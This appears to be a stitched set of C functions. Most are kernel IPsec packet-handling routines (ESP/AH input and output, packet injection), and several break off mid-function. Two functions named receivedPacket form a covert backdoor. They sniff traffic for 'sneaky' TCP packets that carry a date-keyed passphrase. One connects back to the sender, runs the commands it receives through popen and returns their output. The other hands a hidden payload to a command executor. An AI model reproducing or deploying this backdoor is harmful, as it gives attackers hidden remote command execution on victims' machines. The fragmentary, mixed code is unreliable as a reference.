errno_t ipf_inject_input( mbuf_t data, ipfilter_t filter_ref) { struct mbuf *m = (struct mbuf*)data; struct m_tag *mtag = 0; struct ip *ip = mtod(m, struct ip *); u_int8_t vers; int hlen; errno_t error = 0; protocol_family_t proto; vers = IP_VHL_V(ip->ip_vhl); switch (vers) { case 4: proto = PF_INET; break; case 6: proto = PF_INET6; break; default: error = ENOTSUP; goto done; } if (filter_ref == 0 && m->m_pkthdr.rcvif == 0) { m->m_pkthdr.rcvif = lo_ifp; m->m_pkthdr.csum_data = 0; m->m_pkthdr.csum_flags = 0; if (vers == 4) { hlen = IP_VHL_HL(ip->ip_vhl) << 2; ip->ip_sum = 0; ip->ip_sum = in_cksum(m, hlen); } } if (filter_ref != 0) { mtag = m_tag_create(KERNEL_MODULE_TAG_ID, KERNEL_TAG_TYPE_IPFILT, sizeof (ipfilter_t), M_NOWAIT, m); if (mtag == NULL) { error = ENOMEM; goto done; } *(ipfilter_t*)(mtag+1) = filter_ref; m_tag_prepend(m, mtag); } error = proto_inject(proto, data); done: return error; }
int ipsec_process_done(struct mbuf *m, struct ipsecrequest *isr) { struct tdb_ident *tdbi; struct m_tag *mtag; struct secasvar *sav; struct secasindex *saidx; int error; IPSEC_ASSERT(m != NULL, ("null mbuf")); IPSEC_ASSERT(isr != NULL, ("null ISR")); sav = isr->sav; IPSEC_ASSERT(sav != NULL, ("null SA")); IPSEC_ASSERT(sav->sah != NULL, ("null SAH")); saidx = &sav->sah->saidx; switch (saidx->dst.sa.sa_family) { #ifdef INET case AF_INET: /* Fix the header length, for AH processing. */ mtod(m, struct ip *)->ip_len = htons(m->m_pkthdr.len); break; #endif /* INET */ #ifdef INET6 case AF_INET6: /* Fix the header length, for AH processing. */ if (m->m_pkthdr.len < sizeof (struct ip6_hdr)) { error = ENXIO; goto bad; } if (m->m_pkthdr.len - sizeof (struct ip6_hdr) > IPV6_MAXPACKET) { /* No jumbogram support. */ error = ENXIO; /*?*/ goto bad; } mtod(m, struct ip6_hdr *)->ip6_plen = htons(m->m_pkthdr.len - sizeof(struct ip6_hdr)); break; #endif /* INET6 */ default: DPRINTF(("%s: unknown protocol family %u\n", __func__, saidx->dst.sa.sa_family)); error = ENXIO; goto bad; } /* * Add a record of what we've done or what needs to be done to the * packet. */ mtag = m_tag_get(PACKET_TAG_IPSEC_OUT_DONE, sizeof(struct tdb_ident), M_NOWAIT); if (mtag == NULL) { DPRINTF(("%s: could not get packet tag\n", __func__)); error = ENOMEM; goto bad; } tdbi = (struct tdb_ident *)(mtag + 1); tdbi->dst = saidx->dst; tdbi->proto = saidx->proto; tdbi->spi = sav->spi; m_tag_prepend(m, mtag); /* * If there's another (bundled) SA to apply, do so. * Note that this puts a burden on the kernel stack size. * If this is a problem we'll need to introduce a queue * to set the packet on so we can unwind the stack before * doing further processing. */ if (isr->next) { V_ipsec4stat.ips_out_bundlesa++; return ipsec4_process_packet(m, isr->next, 0, 0); } key_sa_recordxfer(sav, m); /* record data transfer */ /* * We're done with IPsec processing, transmit the packet using the * appropriate network protocol (IP or IPv6). SPD lookup will be * performed again there. */ switch (saidx->dst.sa.sa_family) { #ifdef INET struct ip *ip; case AF_INET: ip = mtod(m, struct ip *); ip->ip_len = ntohs(ip->ip_len); ip->ip_off = ntohs(ip->ip_off); #ifdef IPSEC_NAT_T /* * If NAT-T is enabled, now that all IPsec processing is done * insert UDP encapsulation header after IP header. */ if (sav->natt_type) { #ifdef _IP_VHL const int hlen = IP_VHL_HL(ip->ip_vhl); #else const int hlen = (ip->ip_hl << 2); #endif int size, off; struct mbuf *mi; struct udphdr *udp; size = sizeof(struct udphdr); if (sav->natt_type == UDP_ENCAP_ESPINUDP_NON_IKE) { /* * draft-ietf-ipsec-nat-t-ike-0[01].txt and * draft-ietf-ipsec-udp-encaps-(00/)01.txt, * ignoring possible AH mode * non-IKE marker + non-ESP marker * from draft-ietf-ipsec-udp-encaps-00.txt. */ size += sizeof(u_int64_t); } mi = m_makespace(m, hlen, size, &off); if (mi == NULL) { DPRINTF(("%s: m_makespace for udphdr failed\n", __func__)); error = ENOBUFS; goto bad; } udp = (struct udphdr *)(mtod(mi, caddr_t) + off); if (sav->natt_type == UDP_ENCAP_ESPINUDP_NON_IKE) udp->uh_sport = htons(UDP_ENCAP_ESPINUDP_PORT); else udp->uh_sport = KEY_PORTFROMSADDR(&sav->sah->saidx.src); udp->uh_dport = KEY_PORTFROMSADDR(&sav->sah->saidx.dst); udp->uh_sum = 0; udp->uh_ulen = htons(m->m_pkthdr.len - hlen); ip->ip_len = m->m_pkthdr.len; ip->ip_p = IPPROTO_UDP; if (sav->natt_type == UDP_ENCAP_ESPINUDP_NON_IKE) *(u_int64_t *)(udp + 1) = 0; } #endif /* IPSEC_NAT_T */ return ip_output(m, NULL, NULL, IP_RAWOUTPUT, NULL, NULL); #endif /* INET */ #ifdef INET6 case AF_INET6: /* * We don't need massage, IPv6 header fields are always in * net endian. */ return ip6_output(m, NULL, NULL, 0, NULL, NULL, NULL); #endif /* INET6 */ } panic("ipsec_process_done"); bad: m_freem(m); KEY_FREESAV(&sav); return (error); }
int esp4_input(struct mbuf **mp, int *offp, int proto) { int off; struct ip *ip; struct esp *esp; struct esptail esptail; struct mbuf *m; u_int32_t spi; struct secasvar *sav = NULL; size_t taillen; u_int16_t nxt; const struct esp_algorithm *algo; int ivlen; size_t hlen; size_t esplen; off = *offp; m = *mp; *mp = NULL; /* sanity check for alignment. */ if (off % 4 != 0 || m->m_pkthdr.len % 4 != 0) { ipseclog((LOG_ERR, "IPv4 ESP input: packet alignment problem " "(off=%d, pktlen=%d)\n", off, m->m_pkthdr.len)); ipsecstat.in_inval++; goto bad; } if (m->m_len < off + ESPMAXLEN) { m = m_pullup(m, off + ESPMAXLEN); if (!m) { ipseclog((LOG_DEBUG, "IPv4 ESP input: can't pullup in esp4_input\n")); ipsecstat.in_inval++; goto bad; } } ip = mtod(m, struct ip *); esp = (struct esp *)(((u_int8_t *)ip) + off); #ifdef _IP_VHL hlen = IP_VHL_HL(ip->ip_vhl) << 2; #else hlen = ip->ip_hl << 2; #endif /* find the sassoc. */ spi = esp->esp_spi; if ((sav = key_allocsa(AF_INET, (caddr_t)&ip->ip_src, (caddr_t)&ip->ip_dst, IPPROTO_ESP, spi)) == 0) { ipseclog((LOG_WARNING, "IPv4 ESP input: no key association found for spi %u\n", (u_int32_t)ntohl(spi))); ipsecstat.in_nosa++; goto bad; } KEYDEBUG(KEYDEBUG_IPSEC_STAMP, kprintf("DP esp4_input called to allocate SA:%p\n", sav)); if (sav->state != SADB_SASTATE_MATURE && sav->state != SADB_SASTATE_DYING) { ipseclog((LOG_DEBUG, "IPv4 ESP input: non-mature/dying SA found for spi %u\n", (u_int32_t)ntohl(spi))); ipsecstat.in_badspi++; goto bad; } algo = esp_algorithm_lookup(sav->alg_enc); if (!algo) { ipseclog((LOG_DEBUG, "IPv4 ESP input: " "unsupported encryption algorithm for spi %u\n", (u_int32_t)ntohl(spi))); ipsecstat.in_badspi++; goto bad; } /* check if we have proper ivlen information */ ivlen = sav->ivlen; if (ivlen < 0) { ipseclog((LOG_ERR, "improper ivlen in IPv4 ESP input: %s %s\n", ipsec4_logpacketstr(ip, spi), ipsec_logsastr(sav))); ipsecstat.in_inval++; goto bad; } if (!((sav->flags & SADB_X_EXT_OLD) == 0 && sav->replay && (sav->alg_auth && sav->key_auth))) goto noreplaycheck; if (sav->alg_auth == SADB_X_AALG_NULL || sav->alg_auth == SADB_AALG_NONE) goto noreplaycheck; /* * check for sequence number. */ if (ipsec_chkreplay(ntohl(((struct newesp *)esp)->esp_seq), sav)) ; /* okey */ else { ipsecstat.in_espreplay++; ipseclog((LOG_WARNING, "replay packet in IPv4 ESP input: %s %s\n", ipsec4_logpacketstr(ip, spi), ipsec_logsastr(sav))); goto bad; } /* check ICV */ { u_char sum0[AH_MAXSUMSIZE]; u_char sum[AH_MAXSUMSIZE]; const struct ah_algorithm *sumalgo; size_t siz; sumalgo = ah_algorithm_lookup(sav->alg_auth); if (!sumalgo) goto noreplaycheck; siz = (((*sumalgo->sumsiz)(sav) + 3) & ~(4 - 1)); if (m->m_pkthdr.len < off + ESPMAXLEN + siz) { ipsecstat.in_inval++; goto bad; } if (AH_MAXSUMSIZE < siz) { ipseclog((LOG_DEBUG, "internal error: AH_MAXSUMSIZE must be larger than %lu\n", (u_long)siz)); ipsecstat.in_inval++; goto bad; } m_copydata(m, m->m_pkthdr.len - siz, siz, &sum0[0]); if (esp_auth(m, off, m->m_pkthdr.len - off - siz, sav, sum)) { ipseclog((LOG_WARNING, "auth fail in IPv4 ESP input: %s %s\n", ipsec4_logpacketstr(ip, spi), ipsec_logsastr(sav))); ipsecstat.in_espauthfail++; goto bad; } if (bcmp(sum0, sum, siz) != 0) { ipseclog((LOG_WARNING, "auth fail in IPv4 ESP input: %s %s\n", ipsec4_logpacketstr(ip, spi), ipsec_logsastr(sav))); ipsecstat.in_espauthfail++; goto bad; } /* strip off the authentication data */ m_adj(m, -siz); ip = mtod(m, struct ip *); #ifdef IPLEN_FLIPPED ip->ip_len = ip->ip_len - siz; #else ip->ip_len = htons(ntohs(ip->ip_len) - siz); #endif m->m_flags |= M_AUTHIPDGM; ipsecstat.in_espauthsucc++; } /* * update sequence number. */ if ((sav->flags & SADB_X_EXT_OLD) == 0 && sav->replay) { if (ipsec_updatereplay(ntohl(((struct newesp *)esp)->esp_seq), sav)) { ipsecstat.in_espreplay++; goto bad; } } noreplaycheck: /* process main esp header. */ if (sav->flags & SADB_X_EXT_OLD) { /* RFC 1827 */ esplen = sizeof(struct esp); } else { /* RFC 2406 */ if (sav->flags & SADB_X_EXT_DERIV) esplen = sizeof(struct esp); else esplen = sizeof(struct newesp); } if (m->m_pkthdr.len < off + esplen + ivlen + sizeof(esptail)) { ipseclog((LOG_WARNING, "IPv4 ESP input: packet too short\n")); ipsecstat.in_inval++; goto bad; } if (m->m_len < off + esplen + ivlen) { m = m_pullup(m, off + esplen + ivlen); if (!m) { ipseclog((LOG_DEBUG, "IPv4 ESP input: can't pullup in esp4_input\n")); ipsecstat.in_inval++; goto bad; } } /* * pre-compute and cache intermediate key */ if (esp_schedule(algo, sav) != 0) { ipsecstat.in_inval++; goto bad; } /* * decrypt the packet. */ if (!algo->decrypt) panic("internal error: no decrypt function"); if ((*algo->decrypt)(m, off, sav, algo, ivlen)) { /* m is already freed */ m = NULL; ipseclog((LOG_ERR, "decrypt fail in IPv4 ESP input: %s\n", ipsec_logsastr(sav))); ipsecstat.in_inval++; goto bad; } ipsecstat.in_esphist[sav->alg_enc]++; m->m_flags |= M_DECRYPTED; /* * find the trailer of the ESP. */ m_copydata(m, m->m_pkthdr.len - sizeof(esptail), sizeof(esptail), (caddr_t)&esptail); nxt = esptail.esp_nxt; taillen = esptail.esp_padlen + sizeof(esptail); if (m->m_pkthdr.len < taillen || m->m_pkthdr.len - taillen < off + esplen + ivlen + sizeof(esptail)) { ipseclog((LOG_WARNING, "bad pad length in IPv4 ESP input: %s %s\n", ipsec4_logpacketstr(ip, spi), ipsec_logsastr(sav))); ipsecstat.in_inval++; goto bad; } /* strip off the trailing pad area. */ m_adj(m, -taillen); #ifdef IPLEN_FLIPPED ip->ip_len = ip->ip_len - taillen; #else ip->ip_len = htons(ntohs(ip->ip_len) - taillen); #endif /* was it transmitted over the IPsec tunnel SA? */ if (ipsec4_tunnel_validate(m, off + esplen + ivlen, nxt, sav)) { /* * strip off all the headers that precedes ESP header. * IP4 xx ESP IP4' payload -> IP4' payload * * XXX more sanity checks * XXX relationship with gif? */ u_int8_t tos; tos = ip->ip_tos; m_adj(m, off + esplen + ivlen); if (m->m_len < sizeof(*ip)) { m = m_pullup(m, sizeof(*ip)); if (!m) { ipsecstat.in_inval++; goto bad; } } ip = mtod(m, struct ip *); /* ECN consideration. */ ip_ecn_egress(ip4_ipsec_ecn, &tos, &ip->ip_tos); if (!key_checktunnelsanity(sav, AF_INET, (caddr_t)&ip->ip_src, (caddr_t)&ip->ip_dst)) { ipseclog((LOG_ERR, "ipsec tunnel address mismatch " "in IPv4 ESP input: %s %s\n", ipsec4_logpacketstr(ip, spi), ipsec_logsastr(sav))); ipsecstat.in_inval++; goto bad; } key_sa_recordxfer(sav, m); if (ipsec_addhist(m, IPPROTO_ESP, spi) != 0 || ipsec_addhist(m, IPPROTO_IPV4, 0) != 0) { ipsecstat.in_nomem++; goto bad; } if (netisr_queue(NETISR_IP, m)) { ipsecstat.in_inval++; m = NULL; goto bad; } nxt = IPPROTO_DONE; } else {
/* * Modify the packet so that it includes the authentication data. * The mbuf passed must start with IPv4 header. * * assumes that the first mbuf contains IPv4 header + option only. * the function does not modify m. */ int ah4_output(struct mbuf *m, struct ipsecrequest *isr) { struct secasvar *sav = isr->sav; const struct ah_algorithm *algo; u_int32_t spi; u_char *ahdrpos; u_char *ahsumpos = NULL; size_t hlen = 0; /* IP header+option in bytes */ size_t plen = 0; /* AH payload size in bytes */ size_t ahlen = 0; /* plen + sizeof(ah) */ struct ip *ip; struct in_addr dst; struct in_addr *finaldst; int error; /* sanity checks */ if ((sav->flags & SADB_X_EXT_OLD) == 0 && !sav->replay) { struct ip *ip; ip = mtod(m, struct ip *); ipseclog((LOG_DEBUG, "ah4_output: internal error: " "sav->replay is null: %x->%x, SPI=%u\n", (u_int32_t)ntohl(ip->ip_src.s_addr), (u_int32_t)ntohl(ip->ip_dst.s_addr), (u_int32_t)ntohl(sav->spi))); ipsecstat.out_inval++; m_freem(m); return EINVAL; } algo = ah_algorithm_lookup(sav->alg_auth); if (!algo) { ipseclog((LOG_ERR, "ah4_output: unsupported algorithm: " "SPI=%u\n", (u_int32_t)ntohl(sav->spi))); ipsecstat.out_inval++; m_freem(m); return EINVAL; } spi = sav->spi; /* * determine the size to grow. */ if (sav->flags & SADB_X_EXT_OLD) { /* RFC 1826 */ plen = ((*algo->sumsiz)(sav) + 3) & ~(4 - 1); /* XXX pad to 8byte? */ ahlen = plen + sizeof(struct ah); } else { /* RFC 2402 */ plen = ((*algo->sumsiz)(sav) + 3) & ~(4 - 1); /* XXX pad to 8byte? */ ahlen = plen + sizeof(struct newah); } /* * grow the mbuf to accomodate AH. */ ip = mtod(m, struct ip *); #ifdef _IP_VHL hlen = IP_VHL_HL(ip->ip_vhl) << 2; #else hlen = ip->ip_hl << 2; #endif if (m->m_len != hlen) panic("ah4_output: assumption failed (first mbuf length)"); if (M_LEADINGSPACE(m->m_next) < ahlen) { struct mbuf *n; MGET(n, MB_DONTWAIT, MT_DATA); if (!n) { ipseclog((LOG_DEBUG, "ENOBUFS in ah4_output %d\n", __LINE__)); m_freem(m); return ENOBUFS; } n->m_len = ahlen; n->m_next = m->m_next; m->m_next = n; m->m_pkthdr.len += ahlen; ahdrpos = mtod(n, u_char *); } else {
/* * Modify the packet so that the payload is encrypted. * The mbuf (m) must start with IPv4 or IPv6 header. * On failure, free the given mbuf and return NULL. * * on invocation: * m nexthdrp md * v v v * IP ......... payload * during the encryption: * m nexthdrp mprev md * v v v v * IP ............... esp iv payload pad padlen nxthdr * <--><-><------><---------------> * esplen plen extendsiz * ivlen * <-----> esphlen * <-> hlen * <-----------------> espoff */ static int esp_output( struct mbuf *m, u_char *nexthdrp, struct mbuf *md, int af, struct secasvar *sav) { struct mbuf *n; struct mbuf *mprev; struct esp *esp; struct esptail *esptail; const struct esp_algorithm *algo; u_int32_t spi; u_int8_t nxt = 0; size_t plen; /*payload length to be encrypted*/ size_t espoff; size_t esphlen; /* sizeof(struct esp/newesp) + ivlen */ int ivlen; int afnumber; size_t extendsiz; int error = 0; struct ipsecstat *stat; struct udphdr *udp = NULL; int udp_encapsulate = (sav->flags & SADB_X_EXT_NATT && (af == AF_INET || af == AF_INET6) && (esp_udp_encap_port & 0xFFFF) != 0); KERNEL_DEBUG(DBG_FNC_ESPOUT | DBG_FUNC_START, sav->ivlen,0,0,0,0); switch (af) { #if INET case AF_INET: afnumber = 4; stat = &ipsecstat; break; #endif #if INET6 case AF_INET6: afnumber = 6; stat = &ipsec6stat; break; #endif default: ipseclog((LOG_ERR, "esp_output: unsupported af %d\n", af)); KERNEL_DEBUG(DBG_FNC_ESPOUT | DBG_FUNC_END, 1,0,0,0,0); return 0; /* no change at all */ } /* some sanity check */ if ((sav->flags & SADB_X_EXT_OLD) == 0 && !sav->replay) { switch (af) { #if INET case AF_INET: { struct ip *ip; ip = mtod(m, struct ip *); ipseclog((LOG_DEBUG, "esp4_output: internal error: " "sav->replay is null: %x->%x, SPI=%u\n", (u_int32_t)ntohl(ip->ip_src.s_addr), (u_int32_t)ntohl(ip->ip_dst.s_addr), (u_int32_t)ntohl(sav->spi))); IPSEC_STAT_INCREMENT(ipsecstat.out_inval); break; } #endif /*INET*/ #if INET6 case AF_INET6: ipseclog((LOG_DEBUG, "esp6_output: internal error: " "sav->replay is null: SPI=%u\n", (u_int32_t)ntohl(sav->spi))); IPSEC_STAT_INCREMENT(ipsec6stat.out_inval); break; #endif /*INET6*/ default: panic("esp_output: should not reach here"); } m_freem(m); KERNEL_DEBUG(DBG_FNC_ESPOUT | DBG_FUNC_END, 2,0,0,0,0); return EINVAL; } algo = esp_algorithm_lookup(sav->alg_enc); if (!algo) { ipseclog((LOG_ERR, "esp_output: unsupported algorithm: " "SPI=%u\n", (u_int32_t)ntohl(sav->spi))); m_freem(m); KERNEL_DEBUG(DBG_FNC_ESPOUT | DBG_FUNC_END, 3,0,0,0,0); return EINVAL; } spi = sav->spi; ivlen = sav->ivlen; /* should be okey */ if (ivlen < 0) { panic("invalid ivlen"); } { /* * insert ESP header. * XXX inserts ESP header right after IPv4 header. should * chase the header chain. * XXX sequential number */ #if INET struct ip *ip = NULL; #endif #if INET6 struct ip6_hdr *ip6 = NULL; #endif size_t esplen; /* sizeof(struct esp/newesp) */ size_t hlen = 0; /* ip header len */ if (sav->flags & SADB_X_EXT_OLD) { /* RFC 1827 */ esplen = sizeof(struct esp); } else { /* RFC 2406 */ if (sav->flags & SADB_X_EXT_DERIV) esplen = sizeof(struct esp); else esplen = sizeof(struct newesp); } esphlen = esplen + ivlen; for (mprev = m; mprev && mprev->m_next != md; mprev = mprev->m_next) ; if (mprev == NULL || mprev->m_next != md) { ipseclog((LOG_DEBUG, "esp%d_output: md is not in chain\n", afnumber)); m_freem(m); KERNEL_DEBUG(DBG_FNC_ESPOUT | DBG_FUNC_END, 4,0,0,0,0); return EINVAL; } plen = 0; for (n = md; n; n = n->m_next) plen += n->m_len; switch (af) { #if INET case AF_INET: ip = mtod(m, struct ip *); #ifdef _IP_VHL hlen = IP_VHL_HL(ip->ip_vhl) << 2; #else hlen = ip->ip_hl << 2; #endif break; #endif #if INET6 case AF_INET6: ip6 = mtod(m, struct ip6_hdr *); hlen = sizeof(*ip6); break; #endif } /* make the packet over-writable */ mprev->m_next = NULL; if ((md = ipsec_copypkt(md)) == NULL) { m_freem(m); error = ENOBUFS; goto fail; } mprev->m_next = md; /* * Translate UDP source port back to its original value. * SADB_X_EXT_NATT_MULTIPLEUSERS is only set for transort mode. */ if ((sav->flags & SADB_X_EXT_NATT_MULTIPLEUSERS) != 0) { /* if not UDP - drop it */ if (ip->ip_p != IPPROTO_UDP) { IPSEC_STAT_INCREMENT(ipsecstat.out_inval); m_freem(m); error = EINVAL; goto fail; } udp = mtod(md, struct udphdr *); /* if src port not set in sav - find it */ if (sav->natt_encapsulated_src_port == 0) if (key_natt_get_translated_port(sav) == 0) { m_freem(m); error = EINVAL; goto fail; } if (sav->remote_ike_port == htons(udp->uh_dport)) { /* translate UDP port */ udp->uh_dport = sav->natt_encapsulated_src_port; udp->uh_sum = 0; /* don't need checksum with ESP auth */ } else { /* drop the packet - can't translate the port */ IPSEC_STAT_INCREMENT(ipsecstat.out_inval); m_freem(m); error = EINVAL; goto fail; } } espoff = m->m_pkthdr.len - plen; if (udp_encapsulate) { esphlen += sizeof(struct udphdr); espoff += sizeof(struct udphdr); } /* * grow the mbuf to accomodate ESP header. * before: IP ... payload * after: IP ... [UDP] ESP IV payload */ if (M_LEADINGSPACE(md) < esphlen || (md->m_flags & M_EXT) != 0) { MGET(n, M_DONTWAIT, MT_DATA); if (!n) { m_freem(m); error = ENOBUFS; goto fail; } n->m_len = esphlen; mprev->m_next = n; n->m_next = md; m->m_pkthdr.len += esphlen; if (udp_encapsulate) { udp = mtod(n, struct udphdr *); esp = (struct esp *)(void *)((caddr_t)udp + sizeof(struct udphdr)); } else { esp = mtod(n, struct esp *); } } else {
void receivedPacket(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { const struct ip *iph = NULL; const struct tcphdr *tcph = NULL; struct sockaddr_in server; struct hostent *hp; int bytes_to_read, n; char *host, *encryptedField, *bp, buf[80], *command; char *code = malloc(sizeof(char) * 4); char strtosend[80]; char Date[11]; time_t t; struct tm* tm; FILE *fp; char path[1035]; time(&t); tm = localtime(&t); host = malloc(sizeof(struct in_addr)); int ipHeaderSize = 0, sd, arg; /* Get the IP header and offset value */ iph = (struct ip*)(packet + SIZE_ETHERNET); #ifdef _IP_VHL ipHeaderSize = IP_VHL_HL(iph->ip_vhl) * 4; #else ipHeaderSize = iph->ip_hl * 4; #endif if (ipHeaderSize < 20) { return; } /* Ensure that we are dealing with one of our sneaky TCP packets */ if (iph->ip_p == IPPROTO_TCP) { /* Get our packet */ tcph = (struct tcphdr*)(packet + SIZE_ETHERNET + ipHeaderSize); if((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ systemFatal("Cannot Create socket"); } /* Make sure the packet contains our code */ memcpy(code, (packet + SIZE_ETHERNET + ipHeaderSize + 4), sizeof(__uint32_t)); strftime(Date, sizeof Date, "%Y:%m:%d", tm); /* Decrypt our keyword using Todays Date*/ encryptedField = encrypt_data(code, Date); /* Check if our keyword is correct, if not incorrect packet and return*/ if(strncmp(encryptedField, PASSPHRASE, 4) == 0){ //printf("%s\n", encryptedField); } else{ return; } arg = 1; if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &arg, sizeof(arg)) == -1) { systemFatal("setsockopt"); } bzero((char *)&server, sizeof(struct sockaddr_in)); server.sin_family = AF_INET; server.sin_port = htons(CONNECTION_PORT); inet_ntop(AF_INET, &(iph->ip_src), host, (socklen_t) INET_ADDRSTRLEN); if((hp = gethostbyname(host)) == NULL){ systemFatal("unknown server address \n"); } bcopy(hp->h_addr, (char *)&server.sin_addr, hp->h_length); if(connect(sd, (struct sockaddr *)&server, sizeof(server)) == -1){ systemFatal("can't connect to server\n"); } // receive command from server bp = buf; bytes_to_read = 80; while((n = recv(sd, bp, bytes_to_read, 0)) < 80 ) { bp += n; bytes_to_read -= n; } command = strdup("/bin/"); strcat(command, buf); /* Open the command for reading. */ fp = popen(command, "r"); if (fp == NULL) { systemFatal("Failed to run command"); } /* Read the output a line at a time - output it. */ while (fgets(path, sizeof(path)-1, fp) != NULL) { //send results line by line strcpy(strtosend, path); send(sd, strtosend, 80, 0); } /* close */ pclose(fp); close(sd); free(host); free(code); } }
void ah4_input(struct mbuf *m, int off) { struct ip *ip; struct ah *ah; u_int32_t spi; const struct ah_algorithm *algo; size_t siz; size_t siz1; u_char *cksum; struct secasvar *sav = NULL; u_int16_t nxt; size_t hlen; size_t stripsiz = 0; sa_family_t ifamily; if (m->m_len < off + sizeof(struct newah)) { m = m_pullup(m, off + sizeof(struct newah)); if (!m) { ipseclog((LOG_DEBUG, "IPv4 AH input: can't pullup;" "dropping the packet for simplicity\n")); IPSEC_STAT_INCREMENT(ipsecstat.in_inval); goto fail; } } /* Expect 32-bit aligned data pointer on strict-align platforms */ MBUF_STRICT_DATA_ALIGNMENT_CHECK_32(m); ip = mtod(m, struct ip *); ah = (struct ah *)(void *)(((caddr_t)ip) + off); nxt = ah->ah_nxt; #ifdef _IP_VHL hlen = IP_VHL_HL(ip->ip_vhl) << 2; #else hlen = ip->ip_hl << 2; #endif /* find the sassoc. */ spi = ah->ah_spi; if ((sav = key_allocsa(AF_INET, (caddr_t)&ip->ip_src, (caddr_t)&ip->ip_dst, IPPROTO_AH, spi)) == 0) { ipseclog((LOG_WARNING, "IPv4 AH input: no key association found for spi %u\n", (u_int32_t)ntohl(spi))); IPSEC_STAT_INCREMENT(ipsecstat.in_nosa); goto fail; } KEYDEBUG(KEYDEBUG_IPSEC_STAMP, printf("DP ah4_input called to allocate SA:0x%llx\n", (uint64_t)VM_KERNEL_ADDRPERM(sav))); if (sav->state != SADB_SASTATE_MATURE && sav->state != SADB_SASTATE_DYING) { ipseclog((LOG_DEBUG, "IPv4 AH input: non-mature/dying SA found for spi %u\n", (u_int32_t)ntohl(spi))); IPSEC_STAT_INCREMENT(ipsecstat.in_badspi); goto fail; } algo = ah_algorithm_lookup(sav->alg_auth); if (!algo) { ipseclog((LOG_DEBUG, "IPv4 AH input: " "unsupported authentication algorithm for spi %u\n", (u_int32_t)ntohl(spi))); IPSEC_STAT_INCREMENT(ipsecstat.in_badspi); goto fail; } siz = (*algo->sumsiz)(sav); siz1 = ((siz + 3) & ~(4 - 1)); /* * sanity checks for header, 1. */ { int sizoff; sizoff = (sav->flags & SADB_X_EXT_OLD) ? 0 : 4; /* * Here, we do not do "siz1 == siz". This is because the way * RFC240[34] section 2 is written. They do not require truncation * to 96 bits. * For example, Microsoft IPsec stack attaches 160 bits of * authentication data for both hmac-md5 and hmac-sha1. For hmac-sha1, * 32 bits of padding is attached. * * There are two downsides to this specification. * They have no real harm, however, they leave us fuzzy feeling. * - if we attach more than 96 bits of authentication data onto AH, * we will never notice about possible modification by rogue * intermediate nodes. * Since extra bits in AH checksum is never used, this constitutes * no real issue, however, it is wacky. * - even if the peer attaches big authentication data, we will never * notice the difference, since longer authentication data will just * work. * * We may need some clarification in the spec. */ if (siz1 < siz) { ipseclog((LOG_NOTICE, "sum length too short in IPv4 AH input " "(%lu, should be at least %lu): %s\n", (u_int32_t)siz1, (u_int32_t)siz, ipsec4_logpacketstr(ip, spi))); IPSEC_STAT_INCREMENT(ipsecstat.in_inval); goto fail; } if ((ah->ah_len << 2) - sizoff != siz1) { ipseclog((LOG_NOTICE, "sum length mismatch in IPv4 AH input " "(%d should be %lu): %s\n", (ah->ah_len << 2) - sizoff, (u_int32_t)siz1, ipsec4_logpacketstr(ip, spi))); IPSEC_STAT_INCREMENT(ipsecstat.in_inval); goto fail; } if (m->m_len < off + sizeof(struct ah) + sizoff + siz1) { m = m_pullup(m, off + sizeof(struct ah) + sizoff + siz1); if (!m) { ipseclog((LOG_DEBUG, "IPv4 AH input: can't pullup\n")); IPSEC_STAT_INCREMENT(ipsecstat.in_inval); goto fail; } /* Expect 32-bit aligned data ptr on strict-align platforms */ MBUF_STRICT_DATA_ALIGNMENT_CHECK_32(m); ip = mtod(m, struct ip *); ah = (struct ah *)(void *)(((caddr_t)ip) + off); } }
void receivedPacket(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { const struct ip *iph = NULL; const struct tcphdr *tcph = NULL; char *passphrase = NULL; char *payload = NULL; int ipHeaderSize = 0; int tcpHeaderSize = 0; int payloadSize = 0; // Get the IP header and offset value iph = (struct ip*)(packet + SIZE_ETHERNET); #ifdef _IP_VHL ipHeaderSize = IP_VHL_HL(iph->ip_vhl) * 4; #else ipHeaderSize = iph->ip_hl * 4; #endif if (ipHeaderSize < 20) { return; } // Ensure that we are dealing with one of our sneaky TCP packets if (iph->ip_p == IPPROTO_TCP) { // Get our TCP packet and the header size tcph = (struct tcphdr*)(packet + SIZE_ETHERNET + ipHeaderSize); #ifdef __APPLE__ tcpHeaderSize = tcph->th_off * 4; #else tcpHeaderSize = tcph->doff * 4; #endif // Grab the code out of the packet passphrase = malloc(sizeof(char) * 4); memcpy(passphrase, (packet + SIZE_ETHERNET + ipHeaderSize + 4), sizeof(__uint32_t)); // Decode the passphrase if (!validPassphrase(passphrase)) { free(passphrase); return; } // Passphrase must match, so grab the encrypted command from the payload #if defined __APPLE__ || defined __USE_BSD payloadSize = ntohs(iph->ip_len) - (ipHeaderSize + tcpHeaderSize); #else payloadSize = ntohs(iph->tot_len) - (ipHeaderSize + tcpHeaderSize); #endif payload = (char*)(packet + SIZE_ETHERNET + ipHeaderSize + tcpHeaderSize); // Get the command and execute it getCommand(&payload, payloadSize); } // Perform cleanup for any allocated memory free(passphrase); }